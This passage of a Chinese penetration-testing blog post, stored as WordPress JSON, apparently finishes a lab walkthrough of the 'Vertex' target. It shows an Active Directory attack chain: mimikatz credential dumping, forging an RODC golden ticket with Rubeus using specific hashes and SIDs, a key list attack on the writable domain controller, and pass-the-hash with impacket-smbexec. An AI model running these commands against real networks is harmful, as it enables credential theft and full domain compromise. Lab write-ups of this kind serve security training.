          Get-DomainObject -Identity RODC$<\/code><\/pre>\n
          3\u3001\u6536\u96c6\u9ec4\u91d1\u7968\u636e\u9700\u8981\u7684\u4fe1\u606f<\/p>\n
            \n
          • rodcNumber<\/code> \u2014\u2014 RODC \u4e2d Krbtgt \u8d26\u6237\u7684\u5bc6\u94a5\u7248\u672c\u53f7<\/li>\n
          • rc4<\/code> or aes256<\/code>\u2014\u2014 RODC \u4e2d Krbtgt \u8d26\u6237\u7684\u54c8\u5e0c\u503c<\/li>\n
          • user<\/code>  \u2014\u2014 \u8981\u4f2a\u9020\u7684\u7528\u6237\u540d<\/li>\n
          • id<\/code> \u2014\u2014 \u8981\u4f2a\u9020\u7684\u7528\u6237 RID<\/li>\n
          • domain<\/code><\/li>\n
          • sid<\/code><\/li>\n<\/ul>\n
            \u67e5\u8be2 msDS-KrbTgtLink \u5c5e\u6027\u62ff\u5230krbtgt\u8d26\u6237\u540d\uff0c\u62ff\u5230 krbtgt \u8d26\u6237\u5bf9\u5e94\u5bc6\u94a5\u7248\u672c\u53f7\u548csid<\/p>\n
            PS > Get-ADComputer RODC(\u673a\u5668\u8d26\u6237\u540d) -Properties msDS-KrbTgtLink<\/code><\/pre>\n
            \u67e5\u8be2 msDS-SecondaryKrbTgtNumber \u548c msDS-KrbTgtLinkBl \u5c5e\u6027<\/p>\n
            PS > Get-ADUser krbtgt_23165(krbtgt\u8d26\u6237\u540d) -Properties msDS-SecondaryKrbTgtNumber,msDS-KrbTGTLinkBl<\/code><\/pre>\n
            \u6216\u8005\u76f4\u63a5\u5229\u7528 mimikatz \u5bfc\u51fa\u53ea\u8bfb\u57df\u63a7\u4e0a\u51ed\u636e\uff0c\u83b7\u53d6 krbtgt \u8d26\u6237\u7684\u8d26\u6237\u540d\u3001\u54c8\u5e0c\u503c\u3001\u8981\u4f2a\u9020\u7528\u6237(administrator)\u7684RID\u3001sid<\/p>\n
            mimikatz.exe "Privilege::Debug" "log" "lsadump::lsa \/patch" "exit"<\/code><\/pre>\n
            4\u3001\u5236\u4f5c RODC \u9ec4\u91d1\u7968\u636e<\/p>\n
            Rubeus23.exe golden \/rodcNumber:4156 \/rc4:34e335179246ef930dc33fd1e3de6e9e \/user:Administrator \/id:500 \/domain:vertexsoft.local \/sid:S-1-5-21-1670446094-1720415002-1380520873 \/nowrap\n# \/nowrap\u53c2\u6570\u53ef\u4ee5\u8ba9\u8f93\u51fa\u7684base64\u7968\u636e\u4e0d\u5305\u542b\u6362\u884c\u7b26<\/code><\/pre>\n
            5\u3001\u5229\u7528\u9ec4\u91d1\u7968\u636e\u5bf9\u53ef\u5199\u57df\u63a7\u53d1\u8d77\u5bc6\u94a5\u5217\u8868\u653b\u51fb<\/p>\n
            Rubeus23.exe asktgs \/enctype:rc4 \/keyList \/service:krbtgt\/vertexsoft.local \/dc:DC.vertexsoft.local \/ticket:do...<\/code><\/pre>\n
            \u83b7\u53d6\u53ef\u5199\u57df\u63a7\u54c8\u5e0c<\/p>\n
            \"vertex_17\"<\/p>\n
            6\u3001\u5b9a\u4f4d\u53ef\u5199\u57df\u63a7\u7684ip\u5730\u5740\uff0c\u54c8\u5e0c\u4f20\u9012\u767b\u5f55\uff0c\u83b7\u53d6\u6700\u540e\u4e00\u4e2aflag<\/p>\n
            ipconfig \/all \u6216\u8005 ping DC.vertexsoft.local<\/code><\/pre>\n
            \"vertex_18\"<\/p>\n
            proxychains4 -q impacket-smbexec -hashes :EBC447441306783742EE3DF769051B75 vertexsoft.local\/administrator@192.168.1.11 -codec gbk<\/code><\/pre>\n
            \"vertex_19\"<\/p>\n
            <\/div>","protected":false},"excerpt":{"rendered":"
            Vertex \u6d89\u53ca\u7684\u77e5\u8bc6\u70b9 Tomcat put \u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\uff08CVE-2017-12615\uff09 Jenkins […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,7],"tags":[],"class_list":["post-1115","post","type-post","status-publish","format-standard","hentry","category-wp","category-pentesting"],"views":760,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1115","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=1115"}],"version-history":[{"count":3,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1115\/revisions"}],"predecessor-version":[{"id":1119,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1115\/revisions\/1119"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=1115"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=1115"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=1115"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}